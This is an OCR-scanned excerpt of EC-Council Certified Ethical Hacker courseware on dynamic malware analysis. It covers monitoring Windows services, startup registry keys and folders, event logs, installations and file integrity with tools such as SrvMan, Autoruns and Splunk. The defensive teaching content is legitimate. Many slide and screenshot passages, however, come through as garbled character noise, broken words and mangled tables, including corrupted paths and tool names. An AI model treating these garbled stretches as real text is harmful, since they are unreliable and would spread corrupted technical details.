::;: •-0-
~- =::= --M "'C~•-..-~f--

- '""""'-
genuine Win dows service t o avoid detect ion :::.. ~

_ . . ,_ -
Qww
- - ---·
--~C-,cho
,_..,. ....


..,_

= = =~=--
Malwa re m ay also employ root kit t echniqu es to
,........... ~:::::::~
manipulate
HKEY_LOCAL_MACHINE\System\CurrentControlS
~
:= =:: ::--
...,_
....~

==---s..-
-
-
-
§§~ - -
- M«l lX ~ s....,.
OIC)Q--- :::::
:::::
et\Services registry keys to hide its processes

Use Wind ows services monito ring too ls such as


.<>_,
. =.. :;:::
'="' =
- -
--
:::.- .,., - -
---~-
-=-==- - - -
c:~--·-~
---
c-------•-~
:::::
:::::
' " - - · - b:<IS-
t ~ -.. -w,.....__,.

·=- = =- =-...._.
....~
Windows Service Manager (SrvMan) t o t race
malicious se rvices initiated
by the malware
Q--

~ - ~ -"'11>'1°""'
~- - ,s - ~
-
t~-·-......._
- ---
:::::
--
c ~...

https://sysprogs.com
~

Windows Service MonitoringTools


e Advanced Windows Service Manager e Netwrix Service Monitor (https://www.netwrix.com )
(https://securityxpfoded.com) t!I AnVir Task Manager (https://www.onvir.com)
e Process Hacker (https://processhocker.sourceforge.io) e Service+ (https://www.octivepfus.com)

Copyright C> by (C-CIIIICII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Windows Services Monitoring


Attackers design malware and other malicious code such that they install and run on a
computer in the form of services. As most services run in the background to support processes
and applications, the malicious services are invisible even when they are performing harmful
activities in the system and they can function without intervention or input. Malware spawns
Windows services that allow attackers to remotely control the victim's machine and pass
malicious instructions. Malware may also adopt rootkit techniques to manipulate the following
registry keys to hide their processes and services.
HKEY_ LOCAL_ MACHINE\System \ CurrentContro/Set \Services
These malicious services run as a SYSTEM account or other privileged accounts, which provide
greater access compared to user accounts, making them more dangerous than common
malware and executable code. Attackers also try to conceal their actions by naming the
malicious services with names similar to genuine Windows services to avoid detection.
You can trace malicious services initiated by the suspicious file during dynamic analysis using
Windows service monitoring tools such as Windows Service Manager (SrvMan), which can
detect changes in services and scan for suspicious Windows services.
■ Windows Service Manager (SrvMan)

Source: https://sysprogs.com
SrvMan has both GUI and command-line modes. It can also be used to run arbitrary
Win32 applications as services (when such a service is stopped, the main application
window is automatically closed).

Module 07 Page 1134 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

You can use SrvMan's command-ine interface to perform the following tasks:
o Create services
srvman.exe add <file.exe/file.sys> [service name] [display name]
[/type:<service type>] [/start:<start mode>] [/interactive:no]
[/overwrite : yes]
o Delete services
srvman.exe delete <service name>

o Start/stop/restart services
srvman.exe start <service name> [/nowait] [/delay:<delay in msec>]
srvman.exe stop <service name> [/nowait] [/delay:<delay in msec>]
srvman . exe restart <service name> [/delay:<delay in msec>]
o Install and start a legacy driver with a single call
srvman . exe run <driver.sys> [service name] [/copy : yes]
[/overwrite : no] [/stopafter:<msec>]

@ Service Manager 0 X
File Vi~ Service Help

ln1:emal1"1¥1le State ,,.. Start type E..woble A.cccuir-..,me

·- - -·
O~n«ne
-9,..,,
•Et«, ■4444am■e
,........, 'I IMli§'·lll:l■tittfti#ffil§dt Mil 4ffi§ff@iMM\4tMiifK,44A
\System9oot\System32\oivers\lwae.svs
....,. """' """"'
,
·-·-
AarSvc_a0839 AgentActivaitionRl.riine_all339 C:\'Wn:lows\sJ1$lem32\ivehost exe -kAarSv...
QAC"
"""' Microsoft ACP!Drivei
ACPIDevicesciiver
""""'
bool \Systerrflool:\Systern32\aivers\ACPI.S:)ls

"""" """'
QAcpi),v \Systenfloot\System32\aivers\Acpi0ev.sys
Q-
"""' Micro:oftACPIE!<D1iver """"'
bool \ Syslem9ool:\System32\01iveis'4c;iielc.ws

··--
ACPI Proces$01 Ago:egal.01 Driver \Systerrflool:\Systern32\d-iveJs\acpipag,.sys
Q-
QAc,i',i """'
"""' ACPI Power Metet Driver """"'
""""' \$}'$letrfloot\Systern32\oivefs\acpipnisys

,........, """'
ACPl'Wd,(,eAk,rmDriver \System9001:\System32\doive,s\bcl)ii:ne.syi
Q-
QAck0100l Ack0100J """"'
.~, system3Mivers\AcidJ100l.sys

,....,. """'
f1,a.AdobeARMse... ""32 AdcbeAcrobal Update SeMCe
ADP8C>¢<
""""' ''C:\PtogrMl Files (dl6)\Con-m:ln Files\Adobe LocalSystem

"""" """'
QAOP8C>¢< \$}'$tetrfloot\System32\oivels\AOP80«.SYS
QAFD
"""' """' AncilvyfunctionDriverf01\l.fnsock """"'
system \Systemfloot\sy:tem32\ctive!s\4'd.sys

·-·-
Qal~
Q....,_ """" """' """" \Systefffloot\system32\d-ivefs\afi.ric.sys

"""" ""'"'
system32\0RMRSWic:ache.sys
!I AJAcu:e1
'6,ALG
"""' ""'32
Appical:ion~C&che
AIJoyn Rcu:er Sewice
A ~ion La,,,ef Gateway Service
"""'
""""' C:\Wirdows\system32\svchosl.e11e ·k Loe£...
C:\Windows\System32\alg,exe
NT AUTHOAITY\local...
NT AUTHORITY\local...
Q- """"'
·-
AMO GPIO Cient D1iver \Systetrflool:\Syste~s~.sys
Q"""2,
QAmd(8
"""'
"""' serv,ce
AMO 12C Controle, """"'
""""' \SystemRoot\System32\aiveis\and2c.sys
\SystemAool:\Syslem32\drive!s\and<.8.sys
QAAd'PM
Q-.i,
"""'
"""' -...
AMO KS Procesw Oriv-ef
AMO ProcesUlt Drivef """"'
""""'
\SystemAool:\System32\drivefs~sys

<->-"' """"
\SystemRoot\Sysl~s~a.sys

·- --
"""'
"""' """"' \SystemRoot\Syslem32\oivefswndsbt.sys
"""" """' """"'' """"'
.,,..,,,.., \SystemRoot\Sysle~s\amdxal:a.sys
"''"'"''" """" """"'
"""" """'
AppHostSvc ~ o o HostH. Service C:\Wn:low$\system32\svchostexe ·k apphost
QAppD ApplD Drivef "''
""""' system32\driven\appid.sys
II
_,,
AppDS,o
""'"' Applicationtdent~y
Applicationtnformation """"' C:\Windows\system32\ivchoslexe -k Loe£...
C:\Wirdows\sysl.em32\tvchoslexe -k netsvc...
NT A1.thcdy\l.oca61!M ..

""""'
L.oo,!Sy,t,m

""""
·-omt ·- -
0-"'· """"
ApPle Said State Drive Devtt \SysterrAoot\Syde~s\AppleSSO.sys
Q-55D
"""'
"""' Smaitlocker Fiaei- Drivef """"'
""""' system3'2\driven\apploc:kerflr.sys
"""""' '"""'
·-
Awication Management C:\Wndows\sys:tem32\tvchoslexe •I<. nettve...
Appfleadineu App ReMiiness """"' C:\Wn:low$\System32\svchost.e~e -k.AppFI ...
<\'J,AppVO,n< ""32 MicrosoftA.p,;,-VCient
,m
""""'
""""" C:\Wirdows\system32\A.ppVCienexe
\SystemRoot\s em32\d-iveis\Appv$1rmsys

Pr()J)eflies ...
""""'
St4fl se1vice

AddSeivice Deletese1vice

Figure 7 .96: Scr eenshot of Windows Service Manager

Some additional Windows service monitoring tools are as follows:


• Advanced Windows Service Manager (https://securityxploded.com)
• Process Hacker (https://processhacker.sourceforge. io)
■ Netwrix Service Monitor (https://www.netwrix.com)
■ AnVir Ta sk Manager (https://www.anvir.com)
• Service+ (https://www.activeplus.com)

Module 07 Page 1135 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: Startup Programs Monitoring


Malware can alter the system settings and add t hemselves t o t he startup menu to perform malicious activities w henever the system
starts
Manually check or use startup monitorin g tools like Autoruns for Windows and Win Patrol to detect suspicious startup progra ms and
processes

Autoruns for Windows


Steps t o manually detect hidden ma lware are list ed as
follows:

8 Check startup program entries in t he registry editor Oc.-.


o-- 1 -- 1 !'1 -- i/l, --
d ' - t...-
~u.,-
e i...,..... C. l -
e -,."io<b
;.t.,o-
0...,_ Q.-Dlh
e -~
,'lo-.,..
!!I ,... !t) o,,..,

8 Check device drivers that are automatically loaded

-
-...--"-
■.,-s,,,,,,:1> ---b
- -_....-__. ._-
---!,-
► C:\Windows\System32\drivers
~-\C-
■. u.s,.,.1,
· •~!, ---b-
~....,.,.._._,\(_

____
--· c.......,____.
■ifi-... ... ...,., ....---=---c.,,,,_ ___

- - -•-c---
Ml o,
l'I Check boot . ini or bed (bootmgr) entr ies ~~-

··~
••u-.
- -
..._s.,...,.c---
..·-~ ___ _
___
8 Check Win dows services that are automat ically started .,..____,,_
► Go to Run ➔ Type services.msc ➔ Sort by Startup Type
■1111-
- .,
_ ,...
- - - (,
,.._ _ _ b _
.., ..
_ , . . _ ' - - c . ~..
--c--c.~

··- ---"- ~ -,-c . ~..



-
r-,.,.-,-.... c . ~..
8 Check the st artup folder

► C:\ProgramData\Microsoft\Windows\Start https://docs.microsoft .com


Menu\Programs\Startup

Copyright C> by (C-CllllCII All Rights Re served Reproduction 1s Strictly Proh1b1ted

Startup Programs Monitoring


Malware can alter the system settings and add themselves to the startup menu to perform
malicious activities whenever the system starts. Therefore, scanning for suspicious startup
programs manually or using startup program monitoring tools such as Autoruns for Windows is
essential for detecting malware.
Steps to manually detect hidden malware:
■ Step 1: Check startup program entries in the registry
Startup items such as programs, shortcuts, folders, and drivers are set to run
automatically at startup when users log into a Windows OS (e.g., Windows 11). Startup
items can be added by the programs or drivers installed, or manually by the user.
Programs that run on Windows 11 startup can be located in these registry entries, such
as Windows startup setting, Explorer startup setting, and IE startup setting.
o Windows Startup Setting
HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_ LOCAL_ MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_ CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

Module 07 Page 1136 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

o Explorer Startup Setting


HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore
r\Sh;ll Folders, Common Startup
HKEY LOCAL MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explore
r\Us;r Shell Folders, Common Startup
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer
\Shell Folders, Startup
HKEY CURRENT USER\Software\Microsoft\Windows\CurrentVersion\Explorer
\Use~ Shell Folders, Startup
o IE Startup Setting
HKEY CURRENT USER\Software\Microsoft\Internet
Expl-;;rer\URLSearchHooks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Toolbar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Extensions
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\MenuExt
■ Step 2: Check device drivers automatically loaded
Navigate to C: \Windows\System32\drivers to check the device drivers.

-
driv ers □ X

t-l- Sort " View "

« Windows > System32 > drrV'ers C 0 Search drivers

Name Date modified lype Size


Quick access
OriverData 6/5/2021 5:10 AM File folder
la Desktop * en-US 1/27/2022 1:39 AM File folder
! Downloads * etc 2/2/2022 11:24 PM File folder
Ii Documents ,>
UMDF 1/27/2022 1:39 AM File folder
~ Pictures * wd 1/27/2022 1:37 AM File folder
0 Music
~ 3ware.sys 6/5/2021 5:04 AM System file 105KB
a Videos ~ 1394ohci.sys 6/5/2021 5:04 AM System file 288KB

> • OneDrive ~ acpi.sys 1/27/2022 1:12 AM System file 818KB

v 1111 This PC ~ AcpiDev.sys 6/5/2021 5:04 AM System file 52 KB

> la Desktop ~ acpiex.sys 6/5/2021 5:04 AM System file 161 KB

~ acpipagr.sys 6/5/2021 5:04 AM System file 44KB


> .S Documents
~ acpipmi.sys 6/5/2021 5:04 AM System file 48KB
> ! Downloads
> f) Music
!!I acpitime.sys 6/5/2021 5:04 AM System file 48KB

~ Acx01000.sys 6/5/2021 5:04 AM System file 684KB


> ~ Pictures
~ adp80xx.sys 6/5/2021 5:04 AM System file 1,109KB
426 items [§ □ I

Figure 7 .97: Screenshot displaying drivers folder

Module 07 Page 1137 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Step 3: Check boot. ini or bed (bootmgr) entries

Check boot.ini or bed (bootmgr) entries using the command prompt. Open command
prompt with administrative privileges, type bcdedit, and press Enter to view all the boot
manager entries.

Iii Administrator. Command Prompt D

Figure 7.98: Screen shot displaying boot info

■ Step 4: Check Windows services that start automatically

Go to Run ➔ Type services.msc and press Enter. Sort the services by Startup Type to
check the Windows services list for services th at automatically start when the system
boots.

Module 07 Page 1138 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

,I -
Q Seivices - □ X
file ~ction ~ew !i•lp

• • lim l 191tat l ~ rml


Services (Local)
•• ■ II I►
'i' Services (l ocal) I
~

Select an item to view its description. Naml!! 06cription Status Startup Type Log
:§J,Activ~ Installer (AxlnstSV) Provides Us...
~ Adobe Acrobat Update Serv ... Adobe Aero ... Running
Manual
Automatic
Loe,
Loe,
I
~ Agent Activation Runtime_... Runtime for... Manual Loe,
~ AIIJoyn Router Service Rout es AIUo... Manual (Trig ... Loe,
~ App R•adiness Gets apps re... Manual Loe,
Provides ad... Running
J.i Application Host Helper Ser... Automatic Loe,
~ Application Identity Determines ... Manual (Trig ... Loe,
~ Application Information Facilitates t. .. Running Manual (Trig ... Loe,
~ Application layer Gateway ... Provides su... Manual Loe,
~ Application Management Processes in... Manual Loe,
~ AppX Deployment Service (.. , Provides inf... Running Manual (Trig ... Loe,
~ AssignedAccessManager Se... AssignedAc... Manual (Trig ... Loe,
~ Auto Time Zone Updater Automatica... Disabled Loe,
;s)..AVCTP service This is Audi... Running Manual (Trig ... Loe,
~ Background Intelligent Tran... Transfers fil... Manual Loe,
~ Background Tasks lnfrastruc ... Windows in... Running Automatic Loe,
~ Base Filtering Engine The Base Fil... Running Automatic Loe,
~ Bitlocker Drive Encryption ... BDESVC hos... Manual (Trig ... Loe,
:.§/, Block l evel Backup Engine ... The WBENG ... Manual Loe,
~ Bluetoot h Audio Gateway S... Service sup... Manual (Trig ... Loe,
~ Bluetooth Support Service The Bluetoo... Manual (Trig ... Loe,

\ ..~~~~./~
I

Figure 7.99: Screenshot displaying services

■ Step 5: Check the Startup folder

Startup folders store applications or shortcuts to applications that auto-start when the
system boots. To check the Startup applications, search the following locations in
Windows 11:
O C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

o C:\Users\(User-Name)\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup

Another method to access startup folders is as follows:


1. Press Windows+ R simultaneously to open the Run box
2. Type shell: startup in the box and click OK to navigate to the startup folder

~ Run X I

Type the name of a program, folder, document, or Int ernet


[§] resource, and Windows will open it for you.

Qpen: Ishell:startup

Cancel !!rowse...

Figure 7 .100: Screenshot showing shell: startup command in the Run box

Module 07 Page 1139 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Startup Program Monitoring Tool: Autoruns for Windows


Source: https://docs.microsoft.com
This utility can auto-start the location of any startup monitor, display what programs are
configured to run during system bootup or login, and show the entries in the order that
Windows processes them. Once this program is included in the startup folder, Run, RunOnce,
and other registry keys, users can configure Autoruns to show other locations, including
explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, and auto-
start services.
Autoruns' Hide Signed Microsoft Entries option helps the user to zoom in on third-party auto-
start images that are added to the user's system, and it provides support for checking the auto-
start images configured for other accounts on the system.

".-----------------------------------------.....----.....
• Autoruns • Sysint ernals: www.sysinternals.com

Ei1e .Search .fntry Qptions ~ategory l:ielp


0 X

p Qoo<Alet

0 Codecs o0 Boot Eucute [!: Image Hijacks C Applnn ~ Known Dlls Pp Winlogon 1!:!1 Winsock Providers ~ Print Monitors
@ L.SA Providers l.;2 Ndwork Provid~ I!"'! WMI (]) Office
~ Eve,yth;ng .Q logon ';.- Explorer I,! Internet Explorer f; Scheduled Tasks • Services 0 Drivers
Autoruns Entry Description Publisher Image Path
llf HKCU\Software\ Classes\ 9\.ShellEx\ Cont~tMenuHandlers
■ • FileSyncEx Microsoft OneOrive Shell Extension (Verified) Microsoft Corporation C;\Users\Admin\AppOata\LO<
If HKCU\Software.\Classes\Oir«toty\Shi!:IIEx\ ContextMenuHandlers
■• FileSyncb: Microsoft OneDrive She.II Extension {Verified) Microsoft Corporation C:\Use.rs\Admin\AppD11t11\lo(
llf HKCU\Softw11re.\ Cl11sses\ Oire.ctory\Baclcground\She.llEx\ ContextMe.nuHandle.rs
■• File.SyncEx Microsoft One.Drive. She.II Extension {Verified) Microsoft Corporation C:\Users\Admin\AppData\Lot
If HKLM\Software\ Classes\ "\She.llEx\ Context MenuHandle.rs
■ 'iJi ANotepad++64 ShellHandlerfor Notepad++ (64 bit) (Verified) Notepad+ + (:\Program Files\Note.pad..- +1
■ • EPP Microsoft Security Client Shell Extension (Not Verified) Microsoft Corporati... (:\Program Files\Windows De
llf HKLM\Software\ C1asse:s\ Drive\ She11Ex\ ContextMenuHandlers
■ • EPP Microsoft Security Client Shell Extension (Not Verified) Microsoft Corporat1,.. C:\Program Files\Windows Ot
If HKLM\Software\ Classes\ Dirttto ry\She.llEx\ ContextMenuHandlers
■ • EPP Microsoft Security Client Shell Extension (Not ¼:rifie.d) Microsoft Corporati... (:\Program Files\Windows Ot
If HKLM\Software\ Classes\ Folder\ShellEx\ DragDropHandlers
■ l;tWinRAR WinRAR shell extension {Verified) win.rar GmbH (:\Program Files\WinRAR\rar,
• HKLM\Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ShelllconOverlayldentifiers
■• OneDrive1 Microsoft One.Drive. Shell Extension (Verified) Microsoft Corporation C:\Use.rs\Admin\AppOata\ Lot
■• OneDrive2 Microsoft One.Drive Shell Extension (Verified) Microsoft Corporation C!\Users\Admin\AppOata\ LOt
■• One.Drivel Microsoft One.Drive She.ii Extension (Verified) Microsoft Corporation C:\Users\Admin\AppData\Lot
■• OneDriv~ Microsoft One.Drive Shell Extension (Verified) Microsoft Corporation C:\Users\Admin\AppData\Loc

Ready

Figure 7.101: Screenshot of Autoruns for Windows

Some additional startup programs monitoring tools are as follows :


■ WinPatrol (https://www.bleepingcomputer.com)
■ Autorun Organizer (https://www.chemtable.com)
■ Quick Startup (https://www.glarysoft.com)
■ StartEd Pro (https://www.outertech.com)
■ Chameleon Startup Manager (https://www.chameleon-managers.com)

Module 07 Page 1140 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: Event Logs Monitoring/Analysis

Log analysis is a p ro cess of a nalyzing It is a SIEM tool that ca n automatically collect all the
computer-generated records or activities Splunk events logs from a ll the systems p resent in the netw ork
to ide ntify m ali cio us or suspicious events
Use log analysis tools like Splunk t o II S--J~U• 0 - 0 X

identify su spicio us l ogs or events w ith lf)kri ) '2' • •

m a li cious int ent ' · · -- ~ · eSpunl<F<>rwan:1 ...

New Search

Log Analysis Tools "9-~l-00'00000A14»1.'T721JS2·2!.000"'11 NOi-~•

8 ManageE ngine Event Log Analyzer


(h ttps://www. manageengine. cam)

hrrps.j/www.splunk,com
8 Loggly (https:j/www.laggly.com)
N./11/ltll. . . Jl:fl UM.II (••: t1·•ct) (I SCANl'ot. .11•1 n, 8nM•"oral •t
8 SolarW inds Log & Event Manager (LEM ) 1-1 {••I (Cl.i.ufLcauo,,, \l'IWCtfllful 11str l'r!•llttt Gl!ft) [""IOtlty. 1J
(TC,) II If I tl 11 4 lt.11. 1.W. lM~
(https:j/ www.solarwinds. cam) - -~ _ . . Cl'n>Q,--S.--."'9'••<lllOII

M/11/}t?l-tf ll·t) 0)1" , .. , (1:l· tl ( l SCJrlol l'otrtl•l Hf' a,,.i.-•oro fl

8 Netwrix Event Log Manager , _ , , ..1 :c1.....1t1c•11..., I.Ol1'1CHUful 11Mr l'r!,llt11 (i,l[ft) (l'rlorlly. I)

(https://www.netwrix.com)

Copyright () by (C-C1mcil All Rights Reserved Reproduction Is Stnctly Prohibited

Event Logs Monitoring/Analysis


Log analysis is a process that provides the details of an activity or event that can extract
possible attacks in the form of Trojans or worms in the system. It serves as a primary source of
information and helps in identifying security gaps. This process helps in detecting zero-day
backdoor Trojans or any possible attacks (failed authentication/login attempts} when logs are
analyzed for different components. Log monitoring can be performed for components that
perform security operations, such as firewall systems, IDS/IPS, web servers, and authentication
servers. The logs also contain file types, ports, timestamps, and registry entries. In Windows,
system logs, application logs, access logs, audit logs, and security logs can be analyzed in Event
Viewer under the section "Windows Logs."
Logs are located via the following paths:
■ System logs
Start ➔ Windows Administrative Tools ➔ Event Viewer ➔ Windows Logs
■ System Security logs
Start ➔ Windows Admin istrative Tool s ➔ Event Viewer ➔ Windows Logs ➔ Security
■ Applications and Services Logs
Start ➔ Windows Admin istrative Tools ➔ Event Viewer ➔ Applications and Services
Logs

Module 07 Page 1141 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Log Analysis Tools:


• Splunk
Source: https://www.splunk.com
It is an SIEM tool that can automatically collect all the event logs from all the systems
present in the network. Splunk forwarders need to be installed in all the systems in the
network that need to be monitored, and these forwarders will transfer the real-time
event logs from the network systems to the ma in Splunk dashboard.

£1 s..,c1, si,..nk 8.0 1 X + 0 0 X

~ C CD localhost8000/en-US/app/Splunkforwarder/search?q=search%20source%30"0JE,3A%5C%5CProgram%20f1i,,s%SC'JE,SCSur. * .:.
Sf>lunk A: I S1 ,1,' • () A ' " l ! I If 1',, . ,2/ M, H,1 .. St .. r (j • A •• 1•. • Ht p . Fr (1

Oefaul! Views • e SplunkForwarder

Save As • Close
New Search
source-"C: \ \Proc ram Fl !es\\Surlcata\\loc\ \fast. loc• Llst 24 hours • II
✓ 9event> (8-161213 00:00000 AM to S.·171213 S2:21000AM> No Event Sampl>ng • , Sman Mode •

Events (9) Patterns Su,ushc.s V1sualauuon

1t-.ou,~cOlo,rwi
Format Tl~hne • -Zoom Clut


LtSt • / FOJmat 20Pe, Page •

<HiOe Fields : All F,ek!S T,me Event

8 ,1721 OS/17/2021-00:37:03 438827 [ .. J [1:0:0J ET SC>X Potential FTP Srute-forco at


saECTED AELOS
337.03488AM t.,..,t [ .. ) [Classification: unsuccessful User Prlvllece Gain] (Priority C
a hos1 1
{TCP) 10, 10.1 . 16:21 ·> 10 , 10.1.50:38020
a source 1
a sourceiype 1 host .. WebServer source ;s;. C.\Pfogram Fdes~unca1a1k>g fasuog
sourcetype • fast-too small
INTERESTING FtELOS
8'17,21 08/17/2021-00:37:03 472776 (••J (l:O:OJ ET SCAN Potential HP 8rute·Force at
ti aate hou, 1 3 37 03 472 AM t.,..,t [" J (Classification: unsuccessful User Prlvllete Gain) (Priority: I J
11. elate maay 1 {TCP) 10.10 1.16:21 -> 10.10. 1 59:38028
2
R dilte minute
host " WebServer source .. C:\Program Ales-.Surtca~1.1og fastlog
o date month 1
sourcetype ., fast-too small

Figure 7.102: Screenshot of Splunk

Some additional log monitoring/analysis tools are as follows :


• M anageEngine Event Log Analyzer (https:/ /www.manageengine.com)
• Loggly (https:/ / www.loggly. com)
■ SolarWinds Log & Event Manager (https:/ /www. solarwinds.com)
■ Netwrix Event Log Manager (https://www.netwrix.com)

Module 07 Page 1142 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Dynamic Malware Analysis: Installation Monitoring


When the system or user s install or uninstall any Mirekusoft Install Monitor
softw are application, th ere is a chance that t races of
It automatica lly mo nito rs wh at gets placed o n your system
the application data are left on the system
and allows you to completely uninstall it
Installation monitoring will help in detecting hidden
and background installations t hat t he m alware
performs
111---___
......,._, .
_,_...,.,...,....,., ...,._
Use install ation monitoring tools such as Mirekusoft
Install Monitor fo r monitoring the inst allation of
malicious executables
~=--~~Ml
• -,•-t,l".,.UII
-,..,.w--.z--
a_, ...
-c..,..-
_,
-c..,..___
Installation Monitoring Tools
o-,..,.
_ _ _ _ ..u
e_,..c_
i;.r'"'-""" .........~
_.,
__,-ort"7l,.

0._, -
............___
411fim_WU,M
411,/lU.,IO.oM
11!/'lHJH.M
1~-•Up,l,O•~.,_MI
9

8
SysAnalyzer (https://www.aldeid.com)
Adva nced Un installer PRO
r>--·-·
. - . . ..u
1cr_,.,...... _ _
■-l.l01'0MI
jl11""'-'t1... Up,lot.

(https:j/www. advonceduninstaller.com)
8 REVO UNINSTALLER PRO (https:j/www.revouninstaller.com)
8 Comodo Programs Manager (https://www.comodo.com) ~

https;//www.mirekusoft.com
Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Installation Monitoring
When the system or user installs or uninstalls any software application, traces of the application
data might remain on the system. To find these traces, you should know the folders modified or
created during the installation process as well as t he files and folders that have not been
modified by the uninstall process. Installation monitoring helps in detecting hidden and
background installations performed by malware. Tools such as SysAnalyzer can be used to
monitor the installation of malicious executables.

Module 07 Page 1143 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ Mirekusoft Install Monitor


Source: https://www.mirekusoft.com
Mirekusoft Install Monitor automatically monitors what is placed on your system and
allows you to uninstall it completely. It works by monitoring resources (such as file and
registry) that are created when a program is installed. It provides detailed information
about the software installed. Furthermore, it helps you to determine the disk, CPU, and
memory consumption of your programs. It also provides information about how often
you use different programs. A program tree is a useful tool that can show you which
programs were installed together.

Im Mirdcusoft Install Monitor X


---------· "
~ Home (illll Ci Performance ~ Startup y'!" Tools I Options ]

Manage and uninstall programs. Se.lKt multiple programs to batch uninrtaU. ~ ISearch programs vi

Name Publisher lnstallel' Siu~ Version Last Us~ Usage


1§,Mirekusoft Install Monitor Mirekusoft 4/6/U. 7,40 AM 860KB 4.8.1080.1
ftj' Microsoft SQL Server Compact 4.0 SPl x64 ENU Microsoft Corporation 4/6/'U. 7,33AM 19.1 MB 4.0.8876.1
,tYMicrosoft Visual C++ 2017 Redistributable (x64) • ... Microsoft Corporation 4/6/U.7'33AM 881 KB 14.16.27033.0
Microsoft Visual (-,i-.., 2017 Redistributable x86 • ... Microsoft Cor oration 4/6/ 22 7,32 AM 881 KB 14.16.27033.0
Ruiware 4/6/2H19AM 4.0~ MB 35.5.2017.B
Mozilla 4/6/'U. &.57 AM 206MB 99.0
Adobe 4/6/'U. &.48AM 728MB U..00120085
Microsoft Corporation 4/6/'U.&.47 AM 53.0MB U..045.0'U.7.0...
Microsoft Corporation 4/6/'U. &.47 AM 486MB 100.0.1185.29
crMoft Edge Microsoft Corporation 4/6/22 &.47 AM 492MB 100.0.1185.29
PerfKt Network Scanner version 8.1.3 SoftPerfect Pty ltd 4/ 6/ 22 6:44 AM 19.7MB 8.1.3
ogle Chrome Google LLC 4/6/22 &.40 AM 535MB 100.0.4896.75
tepad• • (64-bit x64) Notepad•• Team 2/l/'U. 1,U.AM 260KB 8.2.1
a 8 Update 321 (64-bit) Oracle Corporation 2/2/'U.11,15PM 285MB 8.0.3210.7
Riverbed Technology, Inc. 2/2/U. 11,05 PM 11BKB 4.1.0.2980
Mozilla 2/2/'U. m53PM 90.5 KB 96.0.3
Microsoft Corporation 1/27/'U.1'3BAM 1.02MB 2.B7.0.0
win.rar GmbH 1/ 26/'U.11'34P... 7.62 MB 6.10.0
1.3.155.85

Publisher. Ruiware Ve rsion: 35.5.2017.8

l[)ate: Today, April 6, 2022. 22 minutes ago


~ize: 4.05 MB (4,253,847 bytes} Size of registry: 1.52 KB {1,566 bytes) Contains: 23 Files, Registry: 2 Keys, 23 Values
~bout: https;ljwww.w1npatr9l.com
111 -..1-~ - ~ - - · · ' ' · · · ·· " . , ..: __ _ • __• _,,,_, _ ,..i_,,_f,. • .,J.

Uninstall I• J

Figure 7.103: Screenshot of Mirekusoft Install M onitor

Some additional installation monitoring tool s are as follows:


■ SysAnalyzer (https://www.aldeid.com)
■ Advanced Uninstaller PRO (https://www.advanceduninstaller.com)
■ REVO UNINSTALLER PRO (https://www.revouninstaller.com)
■ Comodo Programs Manager (https:j/www.comodo.com)

Module 07 Page 1144 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Dynamic Malware Analysis: Files and Folders Monitoring

Malware program s n orm ally modify system PA File Sight


files and folders afte r inf ecting a computer
It au dits who is deleting files, moving files, o r reading files. It
Use fil e and folde r integrit y checkers like PA also detects users copying files and opt ionall y blocks access
File Sight, Tripwire, and Netwrix Auditor to 9 ,..,..s.,..,..,..c--.t.-U.•i. rc -.......-,, ..- 1- ~ ... ,.., .. So9"1,.,..,....,i..:_oo..,.ldtl
r• v- , - . . - s...,. i..--,-.
detect changes in system files a nd folders
--
i...

[::'·•·-~::::.J ~ -~--
~ ..
